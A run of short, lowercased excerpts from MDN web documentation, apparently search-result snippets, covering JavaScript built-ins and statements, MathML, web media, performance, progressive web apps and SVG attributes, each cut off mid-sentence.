start of the arguments passed to the target function, followed by whatever arguments are passed bound function at the time it is called. function list() { return array.prototype.slice.call(arguments); } function addarguments(arg1, arg2) { return arg1 + arg2 } const list1 = list(1, 2, 3); // [1, 2, 3] const result1 = addarguments(1, 2); // 3 // create a function with a preset leading argument...
Intl.DateTimeFormat.prototype.formatRange() - JavaScript
ate range in the most concise way based on the locale and options provided when instantiating intl.datetimeformat object. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax intl.datetimeformat.prototype.formatrange(
startdate, enddate) examples basic formatrange usage this method receives two dates and formats the date range in the most concise way based on the locale and options provided when instantiating intl.datetimeformat. let date1 = new date(date.utc(2007, 0, 10, 10, 0, 0)); let date2 = new date(date.utc(2007, 0, 10, 11, 0, 0)); let date3 = new date(date.utc(2007, 0, 20, 10, 0, 0)); // > 'wed, 10 jan 20...
Intl.Locale.prototype.hourCycle - JavaScript
le. like other additional locale data, hour cycle type is an extension subtag, which extends the data contained in a locale string. the hour cycle type can have several different values, which are listed in the table below. valid hour cycle types hour cycle type description h12 hour system using 1–12; corresponds to 'h' in patterns. the 12 hour clock, with midnight
starting at 12:00 am. h23 hour system using 0–23; corresponds to 'h' in patterns. the 24 hour clock, with midnight
starting at 0:00. h11 hour system using 0–11; corresponds to 'k' in patterns. the 12 hour clock, with midnight
starting at 0:00 am. h24 hour system using 1–24; corresponds to 'k' in pattern. the 24 hour clock, with midnight
starting at 24:00. ...
Intl.Locale.prototype.language - JavaScript
treats the language identifier of a locale as the language and the region together (to make a distiction between dialects and variations, e.g. british english vs. american english). the language property of a locale returns strictly the locale's language subtag. examples setting the language in the locale identifer string argument in order to be a valid unicode locale identifier, a string must
start with the language subtag. the main argument to the locale constructor must be a valid unicode locale identifier, so whenever the constructor is used, it must be passed an identifier with a language subtag. let langstr = new intl.locale("en-latn-us"); console.log(langstr.language); // prints "en" overriding language via the configuration object while the language subtag must be specified, the ...
Object.prototype.toString() - JavaScript
value or when an object is referred to in a manner in which a string is expected. by default, the tostring() method is inherited by every object descended from object. if this method is not overridden in a custom object, tostring() returns "[object type]", where type is the object type. the following code illustrates this: const o = new object(); o.tostring(); // returns [object object] note:
starting in javascript 1.8.5, tostring() called on null returns [object null], and undefined returns [object undefined], as defined in the 5th edition of ecmascript and subsequent errata. see using tostring() to detect object class. parameters for numbers and bigints tostring() takes an optional parameter radix the value of radix must be minimum 2 and maximum 36. by using radix you can also conv...
Reflect.has() - JavaScript
scription the reflect.has method allows you to check if a property is in an object. it works like the in operator as a function. ...
RegExp.leftContext ($`) - JavaScript
perty. description the leftcontext property is static, it is not a property of an individual regular expression object. instead, you always use it as regexp.leftcontext or regexp['$`']. the value of the leftcontext property is read-only and modified whenever a successful match is made. you can not use the shorthand alias with the dot property accessor (regexp.$`), because the parser expects a
starting template string in that case and a syntaxerror is thrown. use the bracket notation for property access. examples using leftcontext and $` var re = /world/g; re.test('hello world!'); regexp.leftcontext; // "hello " regexp['$`']; // "hello " specifications specification legacy regexp features in javascript ...
RegExp.prototype.multiline - JavaScript
iline writable no enumerable no configurable yes description the value of multiline is a boolean and is true if the "m" flag was used; otherwise, false. the "m" flag indicates that a multiline input string should be treated as multiple lines. for example, if "m" is used, "^" and "$" change from matching at only the
start or end of the entire string to the
start or end of any line within the string. you cannot change this property directly. examples using multiline var regex = new regexp('foo', 'm'); console.log(regex.multiline); // true specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.multiline' in that specification. ...
RegExp.rightContext ($') - JavaScript
ty. description the rightcontext property is static, it is not a property of an individual regular expression object. instead, you always use it as regexp.rightcontext or regexp["$'"]. the value of the rightcontext property is read-only and modified whenever a successful match is made. you can not use the shorthand alias with the dot property accessor (regexp.$'), because the parser expects a
starting string in that case and a syntaxerror is thrown. use the bracket notation for property access. examples using rightcontext and $' var re = /hello/g; re.test('hello world!'); regexp.rightcontext; // " world!" regexp["$'"]; // " world!" specifications specification legacy regexp features in javascript ...
RegExp.prototype.sticky - JavaScript
the bug was introduced some time after firefox 3.6 (which had the sticky flag but not the bug) and fixed in 2015. perhaps because of the bug, the es2015 specification specifically calls out the fact that: when the y flag is used with a pattern, ^ always matches only at the beginning of the input, or (if multiline is...
RegExp.prototype.test() - JavaScript
.test(str)) { midstring = 'contains'; } else { midstring = 'does not contain'; } console.log(`${str} ${midstring} ${re.source}`); } using test() on a regex with the "global" flag when a regex has the global flag set, test() will advance the lastindex of the regex. (regexp.prototype.exec() also advances the lastindex property.) further calls to test(str) will resume searching str
starting from lastindex. the lastindex property will continue to increase each time test() returns true. note: as long as test() returns true, lastindex will not reset—even when testing a different string! when test() returns false, the calling regex's lastindex property will reset to 0. the following example demonstrates this behaviour: const regex = /foo/g; // the "global" flag is set // re...
Planned changes to shared memory - JavaScript
re is standardization work ongoing that enables developers to create sharedarraybuffer objects again, but changes are needed in order to be use these across threads (i.e., postmessage() for sharedarraybuffer objects throws by default). these changes provide further isolation between sites and help reduce the impact of attacks with high-resolution timers, which can be created with shared memory.
starting with firefox 79, the features described in this document are enabled by default. chrome intends to implement similar restrictions. new http header bonanza as a baseline requirement, documents will need to be in a secure context. for top-level documents, two headers will need to be set: cross-origin-opener-policy with same-origin as value (protects your origin from attackers) cross-ori...
TypedArray.prototype.byteOffset - JavaScript
description the byteoffset property is an accessor property whose set accessor function is undefined, meaning that you can only read this property. the value is established when a typedarray is constructed and cannot be changed. typedarray is one of the typedarray objects. ...
TypedArray.prototype.find() - JavaScript
d by callback, its value passed to the visiting callback will be the value at the time that find visits that element's index; elements that are deleted are not visited. examples find a prime number in a typed array the following example finds an element in the typed array that is a prime number (or returns undefined if there is no prime number). function isprime(element, index, array) { var
start = 2; while (
start <= math.sqrt(element)) { if (element %
start++ < 1) { return false; } } return element > 1; } var uint8 = new uint8array([4, 5, 8, 12]); console.log(uint8.find(isprime)); // 5 specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype.find' in that specification. ...
TypedArray.prototype.indexOf() - JavaScript
d array types here. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax typedarray.indexof(searchelement[, fromindex = 0]) parameters searchelement element to locate in the typed array. fromindex the index to
start the search at. if the index is greater than or equal to the typed array's length, -1 is returned, which means the typed array will not be searched. if the provided index value is a negative number, it is taken as the offset from the end of the typed array. note: if the provided index is negative, the typed array is still searched from front to back. if the calculated index is less than 0, then th...
TypedArray.prototype.lastIndexOf() - JavaScript
the lastindexof() method returns the last index at which a given element can be found in the typed array, or -1 if it is not present. the typed array is searched backwards,
starting at fromindex. this method has the same algorithm as array.prototype.lastindexof(). typedarray is one of the typed array types here. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax typedarray.lastindexof(searchelement[, fromindex = typedarray.length]) parameters searchelement element to locate in the typed array. fromindex optional. the index at which to
start searching backwards. defaults to the typed array's length, i.e. t...
TypedArray.prototype.set() - JavaScript
array is a typed array, the two arrays may share the same underlying arraybuffer; the javascript engine will intelligently copy the source range of the buffer to the destination range. offset optional the offset into the target array at which to begin writing values from the source array. if this value is omitted, 0 is assumed (that is, the source array will overwrite values in the target array
starting at index 0). exceptions a rangeerror, if the offset is set such as it would store beyond the end of the typed array. examples using set() var buffer = new arraybuffer(8); var uint8 = new uint8array(buffer); uint8.set([1, 2, 3], 3); console.log(uint8); // uint8array [ 0, 0, 0, 1, 2, 3, 0, 0 ] specifications specification ecmascript (ecma-262)the definition of 't...
Uint16Array() constructor - JavaScript
ffer is viewed. description the uint16array() typed array constructor creates an array of 16-bit unsigned integers in the platform byte order. if control over byte order is needed, use dataview instead. the contents are initialized to 0. once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
starting with ecmascript 2015, uint16array constructors require to be constructed with a new operator. calling a uint16array constructor as a function without new, will throw a typeerror from now on. var dv = uint16array([1, 2, 3]); // typeerror: calling a builtin uint16array constructor // without new is forbidden var dv = new uint16array([1, 2, 3]); examples different ways to create a uint16array...
WeakRef() constructor - JavaScript
ng to a given target object. syntax new weakref(targetobject); parameters targetobject the target object the weakref should refer to (also called the referent). examples creating a new weakref object see the main weakref page for a complete example. class counter { constructor(element) { // remember a weak reference to a dom element this.ref = new weakref(element); this.
start(); } } specifications specification weakrefsthe definition of 'weakref constructor' in that specification. ...
WebAssembly.LinkError() constructor - JavaScript
syntax new webassembly.linkerror(message, filename, linenumber) parameters message optional human-readable description of the error. filename optional the name of the file containing the code that caused the exception. linenumber optional the line number of the code that caused the exception. ...
WebAssembly.LinkError - JavaScript
constructor webassembly.linkerror() creates a new webassembly.linkerror object. instance properties webassembly.linkerror.prototype.message error message. although ecma-262 specifies that urierror should provide its own message property, in spidermonkey, it inherits error.prototype.message. webassembly.linkerror.prototype.name error name. inherited from error. webassembly.linkerror.prototype.filename path to file that raised this error. inherited from error. webassembly.linkerror.prototype.linenumber line number in file that raised this error. ...
WebAssembly - JavaScript
webassembly.global() represents a global variable instance, accessible from both javascript and importable/exportable across one or more webassembly.module instances. this allows dynamic linking of multiple modules. webassembly.instance() is a stateful, executable instance of a webassembly.module webassembly.linkerror() indicates an error during module instantiation (besides traps from the
start function). webassembly.memory() an object whose buffer property is a resizable arraybuffer that holds the raw bytes of memory accessed by a webassembly instance. webassembly.module() contains stateless webassembly code that has already been compiled by the browser and can be efficiently shared with workers, and instantiated multiple times. webassembly.runtimeerror() error type that is throw...
encodeURIComponent() - JavaScript
t() on user-entered fields from forms post'd to the server. this will encode "&" symbols that may inadvertently be generated during data entry for special html entities or other characters that require encoding/decoding. for example, if a user writes "jack & jill", the text may get encoded as "jack & jill". without encodeuricomponent() the ampersand could be interpretted on the server as the
start of a new field and jeopardize the integrity of the data. for application/x-www-form-urlencoded, spaces are to be replaced by "+", so one may wish to follow a encodeuricomponent() replacement with an additional replacement of "%20" with "+". to be more stringent in adhering to rfc 3986 (which reserves !, ', (, ), and *), even though these characters have no formalized uri delimiting uses, the fo...
Object initializer - JavaScript
t 2015, there is a way to concisely define properties whose values are generator functions: let o = { *generator() { ........... } }; which is equivalent to this es5-like notation (but note that ecmascript 5 has no generators): let o = { generator: function* () { ........... } }; for more information and examples about methods, see method definitions. computed property names
starting with ecmascript 2015, the object initializer syntax also supports computed property names. that allows you to put an expression in brackets [], that will be computed and used as the property name. this is reminiscent of the bracket notation of the property accessor syntax, which you may have used to read and set properties already. now you can use a similar syntax in object literals, too: //...
Spread syntax (...) - JavaScript
without spread syntax, this is done as: const arr1 = [0, 1, 2]; const arr2 = [3, 4, 5]; // prepend all items from arr2 onto arr1 array.prototype.unshift.apply(arr1, arr2) // arr1 is now [3, 4, 5, 0, 1, 2] with spread syntax, this becomes: let arr1 = [0, 1, 2]; let arr2 = [3, 4, 5]; arr1 = [...arr2, ...arr1]; // arr1 is now [3, 4, 5, 0, 1, 2] note: unlike unshift(...
Function expression - JavaScript
ine a function inside an expression. you can also define functions using the function constructor and a function declaration. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax the expression is not allowed at the
start of a statement. function [name]([param1[, param2[, ..., paramn]]]) { statements } as of es2015, you can also use arrow functions. parameters name optional the function name. can be omitted, in which case the function is anonymous. the name is only local to the function body. paramn optional the name of an argument to be passed to the function. statements optional the statements whic...
this - JavaScript
ntering an execution context, it remains as undefined, as shown in the following example: function f2() { 'use strict'; // see strict mode return this; } f2() === undefined; // true in the second example, this should be undefined, because f2 was called directly and not as a method or property of an object (e.g. window.f2()). this feature wasn't implemented in some browsers when they first
started to support strict mode. as a result, they incorrectly returned the window object. to set the value of this to a particular value when calling a function, use call(), or apply() as in the examples below. class context the behavior of this in classes and functions is similar, since classes are functions under the hood. but there are some differences and caveats. within a class constructor, th...
typeof - JavaScript
operand it was supplied with. even with undeclared identifiers, typeof will return 'undefined'. using typeof could never generate an error. but with the addition of block-scoped let and statements/const using typeof on let and const variables (or using typeof on a class) in a block before they are declared will throw a referenceerror. block scoped variables are in a "temporal dead zone" from the
start of the block until the initialization is processed, during which, it will throw an error if accessed. typeof undeclaredvariable === 'undefined'; typeof newletvariable; // referenceerror typeof newconstvariable; // referenceerror typeof newclass; // referenceerror let newletvariable; const newconstvariable = 'hello'; class newclass{}; exceptions all current browsers expose a non-standard host...
yield - JavaScript
cution of the generator ends and an iteratorresult is returned to the caller in which the value is the value specified by the return statement and done is true. if an optional value is passed to the generator's next() method, that value becomes the value returned by the generator's current yield operation. between the generator's code path, its yield operators, and the ability to specify a new
starting value by passing it to generator.prototype.next(), generators offer enormous power and control. unfortunately, next() is asymmetric, but that can’t be helped: it always sends a value to the currently suspended yield, but returns the operand of the following yield. examples using yield the following code is the declaration of an example generator function. function* countapplesales () ...
block - JavaScript
} console.log(x); // logs 1 the x = 2 is limited in scope to the block in which it was defined. the same is true of const: const c = 1; { const c = 2; } console.log(c); // logs 1 and does not throw syntaxerror... note that the block-scoped const c = 2 does not throw a syntaxerror: identifier 'c' has already been declared because it can be declared uniquely within the block. in strict mode,
starting with es2015, functions inside blocks are scoped to that block. prior to es2015, block-level functions were forbidden in strict mode. specifications specification ecmascript (ecma-262)the definition of 'block statement' in that specification. ...
continue - JavaScript
, the program would continue at the top of the checkiandj statement. see also label. var i = 0; var j = 8; checkiandj: while (i < 4) { console.log('i: ' + i); i += 1; checkj: while (j > 4) { console.log('j: ' + j); j -= 1; if ((j % 2) == 0) continue checkj; console.log(j + ' is odd.'); } console.log('i = ' + i); console.log('j = ' + j); } output: i: 0 //
start checkj j: 8 7 is odd. j: 7 j: 6 5 is odd. j: 5 // end checkj i = 1 j = 4 i: 1 i = 2 j = 4 i: 2 i = 3 j = 4 i: 3 i = 4 j = 4 specifications specification ecmascript (ecma-262)the definition of 'continue statement' in that specification. ...
do...while - JavaScript
ment is re-executed. when condition evaluates to false, control passes to the statement following the do...while. examples using do...while in the following example, the do...while loop iterates at least once and reiterates until i is no longer less than 5. var result = ''; var i = 0; do { i += 1; result += i + ' '; } while (i > 0 && i < 5); // despite i == 0 this will still loop as it
starts off without the test console.log(result); specifications specification ecmascript (ecma-262)the definition of 'do-while statement' in that specification. ...
for - JavaScript
xt evaluation of condition. generally used to update or increment the counter variable. statement a statement that is executed as long as the condition evaluates to true. to execute multiple statements within the loop, use a block statement ({ ... }) to group those statements. to execute no statement within the loop, use an empty statement (;). examples using for the following for statement
starts by declaring the variable i and initializing it to 0. it checks that i is less than nine, performs the two succeeding statements, and increments i by 1 after each pass through the loop. for (let i = 0; i < 9; i++) { console.log(i); // more statements } optional for expressions all three expressions in the head of the for loop are optional. for example, in the initialization block it i...
function* - JavaScript
next().value); // 10 console.log(gen.next().value); // 11 console.log(gen.next().value); // 12 console.log(gen.next().value); // 13 console.log(gen.next().value); // 20 passing arguments into generators function* loggenerator() { console.log(0); console.log(1, yield); console.log(2, yield); console.log(3, yield); } var gen = loggenerator(); // the first call of next executes from the
start of the function // until the first yield statement gen.next(); // 0 gen.next('pretzel'); // 1 pretzel gen.next('california'); // 2 california gen.next('mayonnaise'); // 3 mayonnaise return statement in a generator function* yieldandreturn() { yield "y"; return "r"; yield "unreachable"; } var gen = yieldandreturn() console.log(gen.next()); // { value: "y", done: false } co...
label - JavaScript
if (!tests[j].pass(items[i])) { allpass = false; break top; } using a labeled block with break you can use labels within simple blocks, but only break statements can make use of non-loop labels. foo: { console.log('face'); break foo; console.log('this will not be executed'); } console.log('swap'); // this will log: // "face" // "swap" labeled function declarations
starting with ecmascript 2015, labeled function declarations are now standardized for non-strict code in the web compatibility annex of the specification. l: function f() {} in strict mode code, however, this will throw a syntaxerror: 'use strict'; l: function f() {} // syntaxerror: functions cannot be labelled generator functions can neither be labeled in strict code, nor in non-strict code: l: f...
let - JavaScript
for redeclaration. break; } however, it's important to point out that a block nested inside a case clause will create a new block scoped lexical environment, which will not produce the redeclaration errors shown above. let x = 1; switch(x) { case 0: { let foo; break; } case 1: { let foo; break; } } temporal dead zone unlike variables declared with var, which will
start with the value undefined, let variables are not initialized until their definition is evaluated. accessing the variable before the initialization results in a referenceerror. the variable is in a "temporal dead zone" from the
start of the block until the initialization is processed. function do_something() { console.log(bar); // undefined console.log(foo); // referenceerror var bar = 1; ...
return - JavaScript
the function execution: return; return true; return false; return x; return x + y / 3; automatic semicolon insertion the return statement is affected by automatic semicolon insertion (asi). no line terminator is allowed between the return keyword and the expression. return a + b; is transformed by asi into: return; a + b; the console will warn "unreachable code after return statement".
starting with firefox 40, a warning is shown in the console if unreachable code is found after a return statement. to avoid this problem (to prevent asi), you could use parentheses: return ( a + b ); examples interrupt a function a function immediately stops at the point where return is called. function counter() { for (var count = 1; ; count++) { // infinite loop console.log(count + 'a...
Trailing commas - JavaScript
ng commas in arrays: var arr = [ 1, 2, 3, ]; arr; // [1, 2, 3] arr.length; // 3 if more than one trailing comma is used, an elision (or hole) is produced. an array with holes is called sparse (a dense array has no holes). when iterating arrays for example with array.prototype.foreach() or array.prototype.map(), array holes are skipped. var arr = [1, 2, 3,,,]; arr.length; // 5 objects
starting with ecmascript 5, trailing commas in object literals are legal as well: var object = { foo: "bar", baz: "qwerty", age: 42, }; trailing commas in functions ecmascript 2017 allows trailing commas in function parameter lists. parameter definitions the following function definition pairs are legal and equivalent to each other. trailing commas don't affect the length property of functio...
JavaScript
with the java programming language. both "java" and "javascript" are trademarks or registered trademarks of oracle in the u.s. and other countries. however, the two programming languages have a very different syntax, semantic, and use. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get
started tutorials learn how to program in javascript with guides and tutorials. for complete beginners head over to our learning area javascript topic if you want to learn javascript but have no previous experience of javascript or programming. the complete modules available there are as follows: javascript first steps answers some fundamental questions such as "what is javascript?", "what d...
<mspace> - MathML
attributes. attributes class, id, style provided for use with stylesheets. depth the desired depth (below the baseline) of the space (see length for values and units). height the desired height (above the baseline) of the space (see length for values and units). linebreak indicates a line-break at the space. possible values: auto (default value), newline, nobreak, goodbreak, badbreak.
starting with mathml 3, it is preferred to use <mo> to control linebreaking. mathbackground the background color. you can use #rgb, #rrggbb and html color names. width the desired width of the space (see length for values and units). note that some common attributes like mathcolor, mathvariant or dir have no effect on <mspace>. examples <math> <mspace depth="40px" height="20px" /> <mspace...
<mtable> - MathML
: the bottom of the table aligns on the environments baseline. center: see baseline. top: the top of the table aligns on the environments baseline. in addition, values of the align attribute can end with a rownumber (e.g. align="center 3"). this allows you to align the specified row of the table rather than the whole table. a negative integer value counts rows from the bottom of the table.
starting with gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) the interpretation of negative values has been corrected (bug 601436). in gecko 17.0 (firefox 17.0 / thunderbird 17.0 / seamonkey 2.14) the parsing has been updated to treat whitespace correctly. alignmentscope unimplemented class, id, style provided for use with stylesheets. columnalign specifies the horizontal alignment of ...
Digital audio concepts - Web media technologies
end of the frequency band. that means that the codec can discard audio whose frequency is lower than about 20 hz or higher than about 20,000 hz (20 khz). this narrows the audio bandwidth of the sound, thereby reducing the amoung of data required to represent the signal in its compressed form. the audio bandwidth can't be reduced nearly as much as for a speech-only codec, but it is still a helpful
start. some people can hear outside this range to some extent. more often, people's ability to hear higher frequencies is rather lower than this; in particular, it's worth noting that by middle age, the high end of that frequency range usually falls from 20 khz down to around 12 khz to 14 khz. this suggests that the higher frequencies can often be discarded without overly affecting comprehensibility o...
Media container formats (file types) - Web media technologies
ty components are available for quicktime, some of which add support for additional codecs. because quicktime support is, for all intents and purposes, primarily available on apple devices, it is no longer widely used on the internet. apple itself generally now uses mp4 for video. in addition, the quicktime framework has been deprecated on the mac for some time, and is no longer available at all
starting in macos 10.15 catalina. base quicktime media mime type video video/quicktime the video/quicktime mime type is the fundamental type for the quicktime media container. it's worth noting that quicktime (the media framework on mac operating systems) supports a wide variety of containers and codecs, so it actually supports many other mime types. you can add the code...
The "codecs" parameter in common media types - Web media technologies
-4 each codec described by the codecs parameter can be specified either as simply the container's name (3gp, mp4, quicktime, etc.) or as the container name plus additional parameters to specify the codec and its configuration. each entry in the codec list may contain some number of components, separated by periods (.). the syntax for the value of codecs varies by codec; however, it always
starts with the codec's four-character identifier, a period separator (.), followed by the object type indication (oti) value for the specific data format. for most codecs, the oti is a two-digit hexadecimal number; however, it's six hexadecimal digits for avc (h.264). thus, the syntaxes for each of the supported codecs look like this: cccc[.pp]* (generic iso bmff) where cccc is the four-character...
Web media technologies
sible to stream live audio and video, as well as transfer arbitrary data, between two peers over the internet, without requiring an intermediary. guides overview of media technology on the web a general look at the open web technologies and apis that provide support for audio and video playback, manipulation, and recording. if you're not sure which api you should use, this is the place to
start. using audio and video in html a guide to using the html <audio> and <video> elements. accessibility guide for media in web design in this guide, we cover ways web designers and developers can create content that is accessible to people with different capabilities. this ranges from simply using the alt attribute on <img> elements to captions to tagging media for screen readers. guide to medi...
Recommended Web Performance Timings: How long is too long? - Web Performance
unt of time to indicate to a user that the request for new content was made and will load, such as the browser displaying the page title and the background color of the page displaying. the first asset retrieved from a request is usually an html document, which then makes calls for additional assets. as noted in the description of the critical rendering path, when received, browsers immediately
start processing the html, rendering the content as it is received rather than waiting for additional assets to load. yes, one second for loading is a goal, but it's something few sites achieve. expectations differ. a 'hello world' on the corporate network would be expected to load in milliseconds, but a user downloading a cat video on a five-year-old device over an edge network in northern siberia wo...
Performance budgets - Web Performance
baseline to reduce bounce rate is to achieve time to interactive under 5 seconds in 3g/4g, and under 2 seconds for subsequent loads. however, based on the specific goals and content of your site, you might choose to focus on other metrics. for a text-heavy site such as a blog or a news site, the first contentful paint metric could reflect more closely the user behavior. (i.e. how fast can users
start reading), which will inform file specific budgets (e.g. font size), and their optimizations. (e.g. using font-display to improve perceived performance). the ultimate value of a performance budget is to correlate the impact of performance on business or product goals. when defining metrics, you should focus on user experience, which will dictate not only the bounce or conversion rate but how like...
Privacy, permissions, and information security
on of that time to the time as reported by the server might be useful as a factor in fingerprinting. because of this, browsers typically introduce a small amount of variability to timers in order to make them less useful for identifying the user's system. privacy and security controls there are multiple layers of controls for helping to protect users against security and privacy breaches. these
start at the web server, include the very communication layer used over the network, and then extend through the web browser's security offerings before reaching your web app code and the efforts it takes to secure itself and the data the user entrusts to it. there are several web technologies and features at play to manage privacy and security. the following list includes features affecting both, si...
PWA developer guide - Progressive web apps (PWAs)
ct of development specific to the greation of progressive web applications (pwas). for all other documentation about web development, which generally pertains to pwas as well, see our primary web development documentation. --->>> titles below are just for the list; give articles good seo names and feel free to tweak those and this as needed... <<<--- web app basics introduction and getting
started with pwa development some description installing and uninstalling web apps an introductory guide to how a web app can be installed on the user's device... using service workers to run offline description alerting the user using notifications description creating a web app from an existing site description advanced topics pushing data from the server to your web application some d...
Introduction to progressive web apps - Progressive web apps (PWAs)
ebuilt as a progressive web app in 2015, which resulted in 70% increase in conversions. the aliexpress pwa has also seen much better results than either the web or the native app, with a 104% increase in conversion rates for new users. given their profit increase, and the relatively low amount of work required for the conversion of these apps to pwas, the advantage is clear. early stage emerging
startups like couponmoto have also
started using progressive web apps to drive more consumer engagement, showing that they can help small as well as big companies to (re-)engage users more effectively. you can check the list at pwa.rocks for more examples. particularly worth mentioning is the hnpwa.com page—this lists an example implementation of the hacker news website (instead of the usual todom...
Progressive loading - Progressive web apps (PWAs)
ing the site is ready, but this again creates a bad perception of performance. we don't need all of the images in the best possible quality at the very beginning of viewing the site. this can be optimized. first of all, you should use tools or services similar to tinypng, which will reduce the file size of your images without altering the quality too much. if you're past that point, then you can
start thinking about optimizing the image loading using javascript. we'll expain this below. placeholder image instead of having all the screenshots of games referenced in <img> element src attributes, which will force the browser to download them automatically, we can do it selectively via javascript. the js13kpwa app uses a placeholder image instead, which is small and lightweight, while the final ...
Responsive Navigation Patterns - Progressive web apps (PWAs)
the following present several ways to handle navigation on large and small screens. top and left navigation menus are common on larger screens, but are often not the optimal way to present information on small screens because of the reduced screen real estate. therefore, it is necessary to consider the presentation of content and ease of navigation for all screen sizes. note: html/css for the corresponding patterns will be available soon. pattern 1: top toggle menu in this pattern, as the screen width is reduced, the top navigation items rearrange until there is not enough space. ...
by - SVG: Scalable Vector Graphics
the by attribute specifies a relative offset value for an attribute that will be modified during an animation. the
starting value for the attribute is either indicated by specifying it as value for the attribute given in the attributename or the from attribute. four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> html, body, svg { height: 100%; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="100" height="100"> <animate attributename="width" fill="freeze" by="50" dur="3s"/> </rect> </svg> usage notes value see below default value none animatable no the exact value type for this attribute depends on the value of the attribute that will...
data-* - SVG: Scalable Vector Graphics
m data attributes. they let svg markup and its resulting dom share information that standard attributes can't, usually for scripting purposes. their custom data are available via the svgelement interface of the element the attributes belong to, with the svgelement.dataset property. the * can be replaced by any characters allowed in xml's rules for names, with the following restrictions: can't
start with xml. no semicolons (;, u+003a). no capital a to z letters. the svgelement.dataset property is a domstringmap that provides the attribute data-test-value via svgelement.dataset.testvalue. hyphen characters (-, u+002d) are removed and the next letter is capitalized, resulting in the camelcase format. specifications specification status comment scalable vector gr...
direction - SVG: Scalable Vector Graphics
it also may affect the direction in which characters are positioned if the unicode-bidi property's value is either embed or bidi-override. it applies only to glyphs oriented perpendicular to the inline-base direction, which includes the usual case of horizontally-oriented latin or arabic text and the case of narrow-cell latin or arabic characters rotated 90 degrees clockwise relative to a top-to-bottom inline-base direction. ...
end - SVG: Scalable Vector Graphics
element id followed by a dot and one of the supported events for that element. all valid events (not necessarily supported by all elements) are defined by the dom and html specifications. those are: focus, blur, focusin, focusout, activate, auxclick, click, dblclick, mousedown, mouseenter, mouseleave, mousemove, mouseout, mouseover, mouseup, wheel, beforeinput, input, keydown, keyup, composition
start, compositionupdate, compositionend, load, unload, abort, error, select, resize, scroll, beginevent, endevent, and repeatevent . an optional offset value as defined in <offset-value> can be appended. <repeat-value> this value defines a qualified repeat event. the element animation end time is defined relative to the time that the repeat event is raised with the specified iteration value. a vali...
fill-rule - SVG: Scalable Vector Graphics
efault value nonzero animatable yes the fill-rule attribute provides two options for how the inside (that is, the area to be filled) of a shape is determined: nonzero the value nonzero determines the "insideness" of a point in the shape by drawing a ray from that point to infinity in any direction, and then examining the places where a segment of the shape crosses the ray.
starting with a count of zero, add one each time a path segment crosses the ray from left to right and subtract one each time a path segment crosses the ray from right to left. after counting the crossings, if the result is zero then the point is outside the path. otherwise, it is inside. example html,body,svg { height:100% } <svg viewbox="-10 -10 320 120" xmlns="http://www.w3.org/2000/svg"> <!-...
id - SVG: Scalable Vector Graphics
use of id values that would be parsed as an svg view specification (e.g., mydrawing.svg#svgview(viewbox(0,200,1000,1000))) or a basic media fragment when used as a url target fragment. it must be valid in xml documents. a stand-alone svg document uses xml 1.0 syntax, which specifies that valid ids only include designated characters (letters, digits, and a few punctuation marks), and do not
start with a digit, a full stop (.) character, or a hyphen-minus (-) character. specifications specification status comment scalable vector graphics (svg) 2the definition of 'id' in that specification. candidate recommendation defines the allowed values in more detail. scalable vector graphics (svg) 1.1 (second edition)the definition of 'id' in that speci...
markerUnits - SVG: Scalable Vector Graphics
strokewidth this value specifies that the markerwidth and markerunits attributes and the contents of the <marker> element represent values in a coordinate system which has a single unit equal the size in user units of the current stroke width (see the stroke-width attribute) in place for the graphic object referencing the marker. specifications ...
pathLength - SVG: Scalable Vector Graphics
ate the browser's distance calculations with those of the author, by scaling all distance computations using the ratio pathlength/(computed value of path length). this can affect the actual rendered lengths of paths; including text paths, animation paths, and various stroke operations. basically, all computations that require the length of the path. stroke-dasharray, for example, will assume the
start of the path being 0 and the end point the value defined in the pathlength attribute. seven elements are using this attribute: <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, and <rect> html,body,svg { height:100% } <svg viewbox="0 0 100 60" xmlns="http://www.w3.org/2000/svg"> <style> path { fill: none; stroke: black; stroke-width: 2; stroke-dasharray: 10; }...
pointer-events - SVG: Scalable Vector Graphics
<rect x="10" y="0" height="10" width="10" fill="black" /> <circle cx="15" cy="5" r="4" fill="white" pointer-events="none" /> </svg> window.addeventlistener('mouseup', (e) => { // let's pick a random color between #000000 and #ffffff const color = math.round(math.random() * 0xffffff) // let's format the color to fit css requirements const fill = '#' + color.tostring(16).pad
start(6,'0') // let's apply our color in the // element we actually clicked on e.target.style.fill = fill }) as a presentation attribute, it can be applied to any element but it is mostly relevant only on the following twenty-three elements: <a>, <circle>, <clippath>, <defs>, <ellipse>, <foreignobject>, <g>, <image>, <line>, <marker>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>,...
r - SVG: Scalable Vector Graphics
dth="60" height="60" fill="url(#mygradient050)" /> <rect x="220" y="120" width="60" height="60" fill="url(#mygradient100)" /> </svg> circle for <circle>, r defines the radius of the circle and therefor its size. with a value lower or equal to zero the circle won't be drawn at all. value <length> | <percentage> default value 0 animatable yes note:
starting with svg2, r is a geometry property meaning this attribute can also be used as a css property for circles. radialgradient for <radialgradient>, r defines the radius of the end circle for the radial gradient. the gradient will be drawn such that the 100% gradient stop is mapped to the perimeter of this end circle. a value of lower or equal to zero will cause the area to be painted as a singl...
seed - SVG: Scalable Vector Graphics
the seed attribute represents the
